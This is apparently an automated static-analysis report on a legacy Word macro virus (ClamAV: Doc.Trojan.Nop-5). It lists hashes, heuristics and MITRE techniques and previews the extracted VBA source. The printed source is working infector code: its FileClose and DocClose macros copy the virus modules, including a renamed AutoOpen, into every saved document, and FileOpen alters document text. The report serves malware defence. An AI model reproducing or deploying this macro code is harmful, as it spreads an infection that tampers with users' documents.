Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b8a0653c530b7d55…

MALICIOUS

Office (OLE)

47.0 KB Created: 2002-01-09 16:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2831077c4819570ffa1c7fb9b351806a SHA-1: 552ed8bad1c9f5331344a387b71f59ae25c22392 SHA-256: b8a0653c530b7d559b36524d3fafcb07595a726f4bd67cde8d65c3332fcc2384
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The macro attempts to copy itself and other macros to the Normal.dot template and potentially other documents, indicating a propagation or persistence mechanism. While the exact payload is not clear due to truncation, the macro's behavior strongly suggests malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Nop-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nop-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14428 bytes
SHA-256: 45b2ddf19226960f476d4bed8fa174996797290058381da71c08e81efa093ac6
Detection
ClamAV: Doc.Trojan.Nop-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "HelpAbout"

Rem ===============================================================
Rem Some Joke from this Macro.
Rem ===============================================================



Public Sub MAIN()
Attribute MAIN.VB_Description = "Отображает информацию о программе и номер версии"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.HelpAbout.MAIN"

On Error GoTo -1: On Error GoTo Halt

WordBasic.HelpAbout APPNAME:="Sucks!"

Halt:
Err.Number = 0
End Sub

Attribute VB_Name = "FileClose"

Rem ==============================================================
Rem Invecting module of this Macro.
Rem ==============================================================



Public Sub MAIN()
Attribute MAIN.VB_Description = "Закрывает все окна активного документа"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileClose.MAIN"
Dim W
Dim N$
Dim S$

On Error GoTo -1: On Error GoTo Halt

W = WordBasic.IsDocumentDirty()
Dim Dlg As Object: Set Dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs Dlg
If Dlg.Format <= 1 Then
    If Dlg.Format = 0 Then
        Dlg.Format = 1
        WordBasic.FileSaveAs Dlg
    End If
    N$ = "Normal.Dot:"
    S$ = Dlg.Name + ":"
    WordBasic.MacroCopy N$ + "FileClose", S$ + "FileClose", 1
    WordBasic.MacroCopy N$ + "DocClose", S$ + "DocClose", 1
    WordBasic.MacroCopy N$ + "FileOpen", S$ + "FileOpen", 1
    WordBasic.MacroCopy N$ + "HelpAbout", S$ + "HelpAbout", 1
    WordBasic.MacroCopy N$ + "Internal", S$ + "AutoOpen", 1
    WordBasic.SetDocumentDirty W
End If


Halt:
Err.Number = 0
WordBasic.FileClose

End Sub

Attribute VB_Name = "FileOpen"

Rem ==================================================================
Rem Destructive operations from this Macro.
Rem ==================================================================



Public Sub MAIN()
Attribute MAIN.VB_Description = "Открывает существующий документ или шаблон"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileOpen.MAIN"

On Error GoTo -1: On Error GoTo Halt

Dim Dlg As Object: Set Dlg = WordBasic.DialogRecord.FileOpen(False)
WordBasic.CurValues.FileOpen Dlg
WordBasic.Dialog.FileOpen Dlg
WordBasic.FileOpen Dlg

WordBasic.EditReplace Find:="Windows", Replace:="Sucks must die!", ReplaceAll:=1

Halt:
Err.Number = 0
End Sub

Attribute VB_Name = "DocClose"

Rem ==============================================================
Rem Invecting module of this Macro.
Rem ==============================================================



Public Sub MAIN()
Attribute MAIN.VB_Description = "Предлагает сохранить активный документ и закрывает активное окно"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.DocClose.MAIN"
Dim W
Dim N$
Dim S$

On Error GoTo -1: On Error GoTo Halt

W = WordBasic.IsDocumentDirty()
Dim Dlg As Object: Set Dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs Dlg
If Dlg.Format <= 1 Then
    If Dlg.Format = 0 Then
        Dlg.Format = 1
        WordBasic.FileSaveAs Dlg
    End If
    N$ = "Normal.Dot:"
    S$ = Dlg.Name + ":"
    WordBasic.MacroCopy N$ + "FileClose", S$ + "FileClose", 1
    WordBasic.MacroCopy N$ + "DocClose", S$ + "DocClose", 1
    WordBasic.MacroCopy N$ + "FileOpen", S$ + "FileOpen", 1
    WordBasic.MacroCopy N$ + "HelpAbout", S$ + "HelpAbout", 1
    WordBasic.MacroCopy N$ + "Internal", S$ + "AutoOpen", 1
    WordBasic.SetDocumentDirty W
End If


Halt:
Err.Number = 0
WordBasic.DocClose

End Sub

Attribute VB_Name = "AutoOpen"

Rem =================================================================
Rem StartUp Initialization.
Rem =================================================================



Public Sub MAIN()
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.